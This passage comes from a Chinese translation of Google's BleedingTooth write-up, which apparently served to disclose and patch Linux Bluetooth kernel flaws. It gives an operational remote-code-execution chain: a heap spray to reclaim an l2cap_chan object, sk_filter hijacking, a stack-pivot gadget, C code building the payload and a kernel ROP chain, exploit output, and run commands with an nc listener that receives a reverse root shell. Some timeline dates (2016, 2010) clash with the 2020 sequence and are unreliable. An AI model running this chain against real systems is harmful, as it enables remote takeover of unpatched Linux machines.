/* typedef s64 -> __s64 */ long long int counter; /* 0x110 0x8 */ 802 | } data; /* 0x110 0x8 */ 803 | ... 804 | } work; /* 0x110 0x20 */ 805 | ... 806 | } chan_timer; /* 0x110 0x58 */ 807 | ... 808 | /* size: 792, cachelines: 13, members: 87 */ 809 | /* sum members: 774, holes: 9, sum holes: 18 */ 810 | /* paddings: 4, sum paddings: 16 */ 811 | /* last cacheline: 24 bytes */ 812 | }; 813 | ``` 814 | 815 | 这个对象属于 A2MP 通道,可以通过销毁通道来释放它。这很有用,因为它允许我们应用与 `Use-After-Free` 攻击相同的策略。 816 | 817 | 考虑以下技巧: 818 | 819 | - 泄漏 `struct l2cap_chan` 对象的地址。 820 | - 通过销毁 A2MP 通道释放结构体 `struct l2cap_chan` 对象。 821 | - 重新连接 A2MP 通道并将堆原语喷洒到 `kmalloc-1024 slab` 上。 822 | - 它可能会回收前一个 `struct l2cap_chan` 对象的地址。 823 | 824 | 换句话说,原来属于 `struct l2cap_chan` 的地址现在可能属于我们了!同样,使用的技术是非常基础的,但在 Ubuntu 上使用 SLUB 分配器是非常可靠的。一个担忧的问题是,当重新连接 A2MP 通道时,在堆喷射回收位置之前,`struct l2cap_chan` 可能会被新的 `struct l2cap_chan` 重新占用。在这种情况下,可以使用多个连接,可以在另一个连接已经关闭的情况下继续喷射。 825 | 826 | 注意,在 `kmalloc-1024 slab` 中分配对象比 `kmalloc-128 slab` 中分配对象稍微复杂一些,因为: 827 | 828 | - ACL MTU通常小于 1024 字节(可以通过 hciconfig 检查)。 829 | - A2MP 通道的缺省 MTU 为 `L2CAP_A2MP_DEFAULT_MTU=670` 字节。 830 | 831 | 这两个 MTU 限制都很容易绕过。也就是说,我们可以通过将请求分片成多个 L2CAP 报文来绕过 ACL MTU ,也可以通过发送 `L2CAP_CONF_MTU` 响应并配置为 0xffff 字节来绕过 A2MP MTU 。这里,仍然不清楚为什么蓝牙规范不明确的禁止在没有发送请求的情况下解析配置响应。 832 | 833 | 让我们来试试这个技巧: 834 | 835 | ``` 836 | $ gcc -o exploit exploit.c -lbluetooth && sudo ./exploit XX:XX:XX:XX:XX:XX 837 | [*] Opening hci device... 838 | [*] Connecting to victim... 839 | [+] HCI handle: 100 840 | [*] Connecting A2MP channel... 841 | [*] Leaking A2MP kernel stack memory... 842 | [+] Kernel address: ffffffffad2001a4 843 | [+] KASLR offset: 2b600000 844 | [*] Preparing to leak l2cap_chan address... 845 | [*] Leaking A2MP kernel stack memory... 846 | [+] l2cap_chan address: ffff98ee5c62fc00 847 | [*] Spraying kmalloc-1024... 848 | ``` 849 | 850 | 请注意这两个泄漏的指针的最重要字节的不同之处。通过观察较大的字节,我们可以进行有根据的猜测(或检查 Linux 文档),以确定它们是否属于一个段、堆或堆栈。为了确认我们确实能够收回结构 `l2cap_chan` 的地址,我们可以使用以下命令检查受害者机器上的内存: 851 | 852 | ```shell 853 | $ sudo gdb /boot/vmlinuz /proc/kcore 854 | (gdb) x/40gx 0xffff98ee5c62fc00 855 | 0xffff98ee5c62fc00: 0x4141414141414141 0x4242424242424242 856 | 0xffff98ee5c62fc10: 0x4343434343434343 0x4444444444444444 857 | 0xffff98ee5c62fc20: 0x4545454545454545 0x4646464646464646 858 | 0xffff98ee5c62fc30: 0x4747474747474747 0x4848484848484848 859 | ... 860 | 0xffff98ee5c62fd00: 0x6161616161616161 0x6262626262626262 861 | 0xffff98ee5c62fd10: 0x6363636363636363 0x6464646464646464 862 | 0xffff98ee5c62fd20: 0x6565656565656565 0x6666666666666666 863 | 0xffff98ee5c62fd30: 0x6767676767676767 0x6868686868686868 864 | ``` 865 | 866 | 内存内容看起来很有希望!请注意,使用一个模式进行喷射是很有用的,因为这允许我们立即识别内存块,并理解当出现 panic 时,哪些偏移量会被解除引用。 867 | 868 | ## 把所有东西结合起来 869 | 870 | 现在我们已经拥有了完成 RCE 所需的全部原语: 871 | 872 | - 我们可以控制一个地址已知的内存块(称为“负载”)。 873 | - 我们可以泄漏一个 `.text` 段指针,并构建一个 ROP 链,我们可以将其存储在有效负载中。 874 | - 我们可以完全控制 `sk_filter` 字段,并将其指向有效负载。 875 | 876 | ### 实现 RIP 控制 877 | 878 | 让我们回顾一下 `sk_filter_trim_cap()`,并理解为什么控制 `sk_filter` 是有用的。 879 | 880 | ```c 881 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/filter.c 882 | int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap) 883 | { 884 | ... 885 | rcu_read_lock(); 886 | filter = rcu_dereference(sk->sk_filter); 887 | if (filter) { 888 | struct sock *save_sk = skb->sk; 889 | unsigned int pkt_len; 890 | 891 | skb->sk = sk; 892 | pkt_len = bpf_prog_run_save_cb(filter->prog, skb); 893 | skb->sk = save_sk; 894 | err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM; 895 | } 896 | rcu_read_unlock(); 897 | 898 | return err; 899 | } 900 | ``` 901 | 902 | 由于我们控制 filter 的值,我们还可以通过在负载的偏移 0x18 处放置一个指针来控制 `filter->prog`。也就是说,这是 prog 的偏移量: 903 | 904 | ```c 905 | // pahole -E -C sk_filter --hex bluetooth.ko 906 | struct sk_filter { 907 | ... 908 | struct bpf_prog * prog; /* 0x18 0x8 */ 909 | 910 | /* size: 32, cachelines: 1, members: 3 */ 911 | /* sum members: 28, holes: 1, sum holes: 4 */ 912 | /* forced alignments: 1, forced holes: 1, sum forced holes: 4 */ 913 | /* last cacheline: 32 bytes */ 914 | } __attribute__((__aligned__(8))); 915 | ``` 916 | 917 | 这里,`struct buf_prog` 的结构是: 918 | 919 | ```c 920 | // pahole -E -C bpf_prog --hex bluetooth.ko 921 | struct bpf_prog { 922 | ... 923 | unsigned int (*bpf_func)(const void *, const struct bpf_insn *); /* 0x30 0x8 */ 924 | union { 925 | ... 926 | struct bpf_insn { 927 | /* typedef __u8 */ unsigned char code; /* 0x38 0x1 */ 928 | /* typedef __u8 */ unsigned char dst_reg:4; /* 0x39: 0 0x1 */ 929 | /* typedef __u8 */ unsigned char src_reg:4; /* 0x39:0x4 0x1 */ 930 | /* typedef __s16 */ short int off; /* 0x3a 0x2 */ 931 | /* typedef __s32 */ int imm; /* 0x3c 0x4 */ 932 | } insnsi[0]; /* 0x38 0 */ 933 | }; /* 0x38 0 */ 934 | 935 | /* size: 56, cachelines: 1, members: 20 */ 936 | /* sum members: 50, holes: 1, sum holes: 4 */ 937 | /* sum bitfield members: 10 bits, bit holes: 1, sum bit holes: 6 bits */ 938 | /* last cacheline: 56 bytes */ 939 | }; 940 | ``` 941 | 942 | 函数 `bpf_prog_run_save_cb()` 将 `filter->prog` 传递给 `BPF_PROG_RUN()`: 943 | 944 | ```c 945 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h 946 | static inline u32 __bpf_prog_run_save_cb(const struct bpf_prog *prog, 947 | struct sk_buff *skb) 948 | { 949 | ... 950 | res = BPF_PROG_RUN(prog, skb); 951 | ... 952 | return res; 953 | } 954 | 955 | static inline u32 bpf_prog_run_save_cb(const struct bpf_prog *prog, 956 | struct sk_buff *skb) 957 | { 958 | u32 res; 959 | 960 | migrate_disable(); 961 | res = __bpf_prog_run_save_cb(prog, skb); 962 | migrate_enable(); 963 | return res; 964 | } 965 | ``` 966 | 967 | 然后调用 `bpf_dispatcher_nop_func()`,参数为 `ctx`、`prog->insnsi` 和 `prog->bpf_func()`: 968 | 969 | ```c 970 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h 971 | #define __BPF_PROG_RUN(prog, ctx, dfunc) ({ \ 972 | u32 ret; \ 973 | cant_migrate(); \ 974 | if (static_branch_unlikely(&bpf_stats_enabled_key)) { \ 975 | ... 976 | ret = dfunc(ctx, (prog)->insnsi, (prog)->bpf_func); \ 977 | ... 978 | } else { \ 979 | ret = dfunc(ctx, (prog)->insnsi, (prog)->bpf_func); \ 980 | } \ 981 | ret; }) 982 | 983 | #define BPF_PROG_RUN(prog, ctx) \ 984 | __BPF_PROG_RUN(prog, ctx, bpf_dispatcher_nop_func) 985 | ``` 986 | 987 | 最后,调度程序使用 `ctx` 和 `prog->insnsi` 作为参数调用 `prog->bpf_func()` 处理程序: 988 | 989 | ```c 990 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/bpf.h 991 | static __always_inline unsigned int bpf_dispatcher_nop_func( 992 | const void *ctx, 993 | const struct bpf_insn *insnsi, 994 | unsigned int (*bpf_func)(const void *, 995 | const struct bpf_insn *)) 996 | { 997 | return bpf_func(ctx, insnsi); 998 | } 999 | ``` 1000 | 1001 | 总之,我们有: 1002 | 1003 | ```c 1004 | sk->sk_filter->prog->bpf_func(skb, sk->sk_filter->prog->insnsi); 1005 | ``` 1006 | 1007 | 因为我们可以控制 `sk->sk_filter`,所以我们也可以控制后面的两个解引用。这最终给了我们 RIP 控制, RSI 寄存器(第二个参数)指向我们的有效载荷。 1008 | 1009 | ### 内核堆栈旋转 1010 | 1011 | 由于现在的 CPU 有 NX ,所以不可能直接执行 shell 代码。但是,我们可以执行代码重用攻击,如 ROP/JOP 。当然,为了重用代码,我们必须知道它位于何处,这就是为什么 KASLR 绕过是必不可少的。对于可能的攻击, ROP 通常比 JOP 更容易执行,但这需要我们重定向堆栈指针 RSP 。因此,利用开发人员通常执行 JOP 来堆栈 pivot ,然后以 ROP 链结束。 1012 | 1013 | 我们的想法是将堆栈指针重定向到由 ROP gadgets (即ROP链)组成的负载中的假堆栈。因为我们知道 RSI 指向我们的有效载荷,所以我们想把 RSI 的值移到 RSP 。让我们看看是否有一个 gadgets 可以让我们这样做。 1014 | 1015 | 要提取 gadgets ,我们可以使用以下工具: 1016 | 1017 | - [extract-vmlinux][17] 解压 `./boot/vmlinuz` 1018 | - [ROPgadget]18] 从 `vmlinux` 提取 ROP gadgets。 1019 | 1020 | 寻找像 `mov rsp, X ; ret` 这样的 gadgets,我们可以看到,它们没有一个是有用的。 1021 | 1022 | ```shell 1023 | $ cat gadgets.txt | grep ": mov rsp.*ret" 1024 | 0xffffffff8109410c : mov rsp, qword ptr [rip + 0x15bb0fd] ; pop rbx ; pop rbp ; ret 1025 | 0xffffffff810940c2 : mov rsp, qword ptr [rsp] ; pop rbp ; ret 1026 | 0xffffffff8108ef0c : mov rsp, rbp ; pop rbp ; ret 1027 | ``` 1028 | 1029 | 也许会有一些像 `push rsi ; pop rsp ; ret` 这样的? 1030 | 1031 | ```shell 1032 | $ cat gadgets.txt | grep ": push rsi.*pop rsp.*ret" 1033 | 0xffffffff81567f46 : push rsi ; adc al, 0x57 ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret 1034 | 0xffffffff8156a128 : push rsi ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret 1035 | 0xffffffff81556cad : push rsi ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret 1036 | 0xffffffff81c02ab5 : push rsi ; lcall [rbx + 0x41] ; pop rsp ; pop rbp ; ret 1037 | 0xffffffff8105e049 : push rsi ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret 1038 | 0xffffffff81993887 : push rsi ; xchg eax, ecx ; lcall [rbx + 0x41] ; pop rsp ; pop r13 ; pop rbp ; ret 1039 | ``` 1040 | 1041 | 太好了,有很多 gadgets 可以用。有趣的是,所有 gadgets 都解引用 RBX+0x41 ,这很可能是常用指令或指令序列的一部分。具体来说,由于指令在 x86 中可以从任何字节开始,因此它们可以根据开始字节位置进行不同的解释。RBX+0x41 的解引用实际上可能会阻碍我们使用 gadgets ——也就是说,如果 RBX 在执行 `bpf_func()` 时不包含可写内存地址,我们就会在执行 ROP 链之前陷入 painc 。在我们的例子中,幸运的是,RBX 指向结构 `amp_mgr` 对象,并且如果偏移量 0x41 处的字节被更改,就不会有问题。 1042 | 1043 | 当选择 `stack pivot gadget` 作为 `bpf_func()` 的函数指针并触发它时, RSI 的值将被压入栈中,然后从栈中弹出,最后赋值给 RSP 。换句话说,堆栈指针将指向我们的有效负载,一旦 RET 指令被执行,我们的 ROP 链将启动。 1044 | 1045 | ```c 1046 | static void build_payload(uint8_t data[0x400]) { 1047 | // Fake sk_filter object starting at offset 0x300. 1048 | *(uint64_t *)&data[0x318] = l2cap_chan_addr + 0x320; // prog 1049 | 1050 | // Fake bpf_prog object starting at offset 0x320. 1051 | // RBX points to the amp_mgr object. 1052 | *(uint64_t *)&data[0x350] = 1053 | kaslr_offset + 1054 | PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET; // bpf_func 1055 | *(uint64_t *)&data[0x358] = 0xDEADBEEF; // rbp 1056 | 1057 | // Build kernel ROP chain that executes run_cmd() from kernel/reboot.c. 1058 | // Note that when executing the ROP chain, the data below in memory will be 1059 | // overwritten. Therefore, the argument should be located after the ROP chain. 1060 | build_krop_chain((uint64_t *)&data[0x360], l2cap_chan_addr + 0x3c0); 1061 | strncpy(&data[0x3c0], remote_command, 0x40); 1062 | } 1063 | ``` 1064 | 1065 | 有了这些,我们终于实现了RCE。为了调试我们的 `stack pivot` 并看看我们是否成功,我们可以设置 `(uint64_t)&data[0x360]=0x41414141` 并观察一个可控的 painc。 1066 | 1067 | ### 内核 ROP 链执行 1068 | 1069 | 现在,我们可以编写一个大的 ROP 链来检索和执行 C 负载,也可以编写一个小的 ROP 链来运行任意命令。为了进行 POC 证明,我们已经满足于使用反向 shell 的条件,因此执行一个命令就足够了。受 [CVE-2019-18683: Exploiting a Linux kernel vulnerability in the V4L2 subsystem][19](利用 Linux 中的 V4L2 子系统内核漏洞)中描述的ROP链的启发我们将构建一个链,用 `/bin/bash -c /bin/bash` 之后,蓝牙将不再工作。在更复杂的攻击中,我们将继续执行。 1070 | 1071 | 为了确定两种方法的偏移量,我们可以简单地检查受害者机器上留存的符号: 1072 | 1073 | ```shell 1074 | $ sudo cat /proc/kallsyms | grep "run_cmd\|do_task_dead" 1075 | ffffffffab2ce470 t run_cmd 1076 | ffffffffab2dc260 T do_task_dead 1077 | ``` 1078 | 1079 | 这里,KASLR slide 的值是 0x2a200000 ,可以通过对 `_text` 符号 进行 grep 并减去 0xffffffff81000000 来计算得到: 1080 | 1081 | ```shell 1082 | $ sudo cat /proc/kallsyms | grep "T _text" 1083 | ffffffffab200000 T _text 1084 | 1085 | ab2ce470 1086 | 2a200000 1087 | ``` 1088 | 1089 | 前两个地址的减去 slide 得到: 1090 | 1091 | ```c 1092 | #define RUN_CMD 0xffffffff810ce470 1093 | #define DO_TASK_DEAD 0xffffffff810dc260 1094 | ``` 1095 | 1096 | 最后,我们可以用 ROPgadge 找到 `pop rax ; ret`,`pop rdi ; ret` 和 `jmp rax` 等 gadgets,然后我们可以根据下面的例子来构造内核 ROP 链: 1097 | 1098 | ```c 1099 | static void build_krop_chain(uint64_t *rop, uint64_t cmd_addr) { 1100 | *rop++ = kaslr_offset + POP_RAX_RET; 1101 | *rop++ = kaslr_offset + RUN_CMD; 1102 | *rop++ = kaslr_offset + POP_RDI_RET; 1103 | *rop++ = cmd_addr; 1104 | *rop++ = kaslr_offset + JMP_RAX; 1105 | *rop++ = kaslr_offset + POP_RAX_RET; 1106 | *rop++ = kaslr_offset + DO_TASK_DEAD; 1107 | *rop++ = kaslr_offset + JMP_RAX; 1108 | } 1109 | ``` 1110 | 1111 | 这个 ROP 链应该放在伪结构 `bpf_prog` 对象中的偏移量 0x40 处,而 `cmd_addr` 应该指向放置在内核内存中的 bash 命令。一切准备就绪,最终我们可以从受害者那里获取到一个 root shell 。 1112 | 1113 | # POC 1114 | 1115 | 获取 POC: https://github.com/google/security-research/tree/master/pocs/linux/bleedingtooth. 1116 | 1117 | 编译使用: 1118 | 1119 | ```shell 1120 | $ gcc -o exploit exploit.c -lbluetooth 1121 | ``` 1122 | 1123 | 然后执行为: 1124 | 1125 | ```shell 1126 | $ sudo ./exploit target_mac source_ip source_port 1127 | ``` 1128 | 1129 | 在另一个终端中,运行: 1130 | 1131 | ```shell 1132 | $ nc -lvp 1337 1133 | exec bash -i 2>&0 1>&0 1134 | ``` 1135 | 1136 | 如果成功执行,会弹出一个 calc : 1137 | 1138 | ```shell 1139 | export XAUTHORITY=/run/user/1000/gdm/Xauthority 1140 | export DISPLAY=:0 1141 | gnome-calculator 1142 | ``` 1143 | 1144 | 受害者偶尔可能会在 dmesg 中打印:Bluetooth: Trailing bytes: 6 in sframe。如果 `kmalloc-128 slab` 喷射没有成功,就会发生这种情况。在这种情况下,我们需要崇训利用 EXP 。关于“BadKarma”这个漏洞的一个趣闻,BadKarma 漏洞偶尔会在 `sk_filter()` 的提前退出,例如当字段 `sk_filter` 为 0 时,继续执行 A2MP 接收处理程序并发送回一个 A2MP 响应包。有意思的是,当这种情况发生时,受害者的机器并没有发生 painc ——相反,攻击者的机器会 panic;因为,正如我们之前了解到的,A2MP 协议使用的 ERTM 实现在设计上会引发类型混淆。 1145 | 1146 | # 时间线 1147 | 1148 | - 2020-07-06 - 谷歌内部发现 BadVibes 漏洞 1149 | - 2016-07-20 - 谷歌内部发现 BadKarma 和 BadChoice 漏洞 1150 | - 2010-07-22 - Linus Torvalds 报告独立发现 BlueZ 的 BadVibes 漏洞,公布时间为7天 1151 | - 2020-07-24 - [BlueZ 主要开发人员][20](Intel)报告的三个 BleedingTooth 漏洞的技术细节 1152 | - 2020-07-29 - Intel 在 2020-07-31 与谷歌预约了会议 1153 | - 2020-07-30 - BadVibes 发布修复补丁 1154 | - 2020-07-31 - Intel 将披露日期定在 2020-09-01,此前由 Intel 协调发布了一份保密协议。通知方通过 kconfig 给出一个非安全性提交消息来禁用 BT_HS 1155 | - 2020-08-12 - Intel 调整披露日期至 2020-10-13 (自初始报告起90天) 1156 | - 2020-09-25 - Intel 提交补丁到 公开的 [bluetooth-next]21] 分支 1157 | - 2020-09-29 - 补丁与 [5.10 linux-next][22] 分支合并 1158 | - 2020-10-13 - 公开披露英特尔的建议,随后披露谷歌建议 1159 | - 2020-10-14 - Intel 将推荐的固定版本从 5.9 修正到 5.10 内核 1160 | - 2020-10-15 - Intel 取消内核升级建议 1161 | 1162 | # 结论 1163 | 1164 | 从零知识开始,到发现蓝牙 HCI 协议中的三个漏洞,这是一个即奇怪又出乎意料的过程。当我第一次发现 BadVibes 漏洞时,我认为它只会被脆弱/恶意的蓝牙芯片触发,因为这个漏洞看起来太明显了。由于我没有两个带蓝牙 5 的可编程设备,我无法验证是否有可能收到这么大的报文。只有在比较了 Linux 蓝牙栈与其他实现并阅读了规范之后,我才得出结论,我确实是发现了我的第一个 RCE 漏洞,并立即出去购买了另一台笔记本电脑(令人惊讶的是,市场上没有值得信赖的 BT5 适配器)。分析溢出后,很快就发现需要一个额外的信息泄漏漏洞。比我想象的要快得多,我只花了两天时间就发现了 BadChoice 。在尝试触发它时,我发现了 BadKarma 漏洞,我最初认为这是一个会阻止 BadChoice 漏洞的 bug。事实证明,绕过这个漏洞是相当容易的,而且这个漏洞实际上是另一个高度严重的安全漏洞。研究 Linux 蓝牙栈和开发 RCE 漏洞具有挑战性,但令人兴奋,特别是因为这是我第一次审计和调试 Linux 内核。我很高兴,这项工作的结果是,决定在[默认情况下禁用蓝牙高速特性][23]下以减少攻击面,这也意味着删除强大的堆原语。此外,我将从这项研究中获得的知识转化为 [syzkaller contributions][24],它使 /dev/vhci 设备能被 Fuzz,并发现了 >40 个额外的 bug。虽然这些 bug 多数不太可能被利用,甚至不太可能被远程触发,但它们会被工程师识别和修复其他弱点([Bluetooth: Fix null pointer dereference in hci_event_packet()][25]、[Bluetooth: Fix memory leak in read_adv_mon_features()][26] 或 [Bluetooth: Fix slab-out-of-bounds read in hci_extended_inquiry_result_evt()][27],因此有助于拥有一个更安全、更稳定的内核。 1165 | 1166 | # 致谢 1167 | 1168 | - Dirk Göhmann 1169 | - Eduardo Vela 1170 | - Francis Perron 1171 | - Jann Horn 1172 | 1173 | -------------- 1174 | 1175 | via:https://google.github.io/security-research/pocs/linux/bleedingtooth/writeup.html 1176 | 1177 | 作者:Andy Nguyen (theflow@) 1178 | 选题:[Licae](https://github.com/Licae) 1179 | 译者:[b1lack](https://github.com/b1lack) 1180 | 校对:[firmianay](https://github.com/firmianay) 1181 | 1182 | 本文由 [VulnTotal翻译组](https://github.com/VulnTotal-Team/TranslateProject) 原创编译,[VulnTotal安全团队](https://github.com/VulnTotal-Team) 荣誉推出 1183 | 1184 | [1]: https://github.com/google/syzkaller 1185 | [2]: https://www.armis.com/research/bleedingbit 1186 | [3]: https://knobattack.com 1187 | [4]: https://www.armis.com/blueborne 1188 | [5]: https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag 1189 | [6]: https://youtu.be/qPYrLRausSw 1190 | [7]: http://www.bluez.org 1191 | [8]: https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00435.html 1192 | [9]: https://github.com/google/security-research/security/advisories/GHSA-ccx2-w2r4-x649 1193 | [10]: https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=a2ec905d1e160a33b2e210e45ad30445ef26ce0e 1194 | [11]: htts://github.com/google/security-research/security/advisories/GHSA-7mh3-gq28-gfrq 1195 | [12]: https://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq 1196 | [13]: https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=eddb7732119d53400f48a02536a84c509692faa8 1197 | [14]: https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=f19425641cb2572a33cb074d5e30283720bd4d22 1198 | [15]: https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=b176dd0ef6afcb3bca24f41d78b0d0b731ec2d08 1199 | [16]: https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=b560a208cda0297fef6ff85bbfd58a8f0a52a543 1200 | [17]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/scripts/extract-vmlinux 1201 | [18]: https://github.com/JonathanSalwan/ROPgadget 1202 | [19]: https://a13xp0p0v.github.io/2020/02/15/CVE-2019-18683.html 1203 | [20]: http://www.bluez.org/development/credits 1204 | [21]: https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/net/bluetooth?id=f19425641cb2572a33cb074d5e30283720bd4d22 1205 | [22]: https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/net/bluetooth?id=2bd056f550808eaa2c34a14169c99f81ead083a7 1206 | [23]: https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/net/bluetooth?id=b176dd0ef6afcb3bca24f41d78b0d0b731ec2d08 1207 | [24]: https://github.com/google/syzkaller/commits?author=TheOfficialFloW 1208 | [25]: https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=b50dc237ac04d499ad4f3a92632470a9eb844f7d 1209 | [26]: https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=cafd472a10ff3bccd8afd25a69f20a491cd8d7b8 1210 | [27]: https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=51c19bf3d5cfaa66571e4b88ba2a6f6295311101 1211 | --------------------------------------------------------------------------------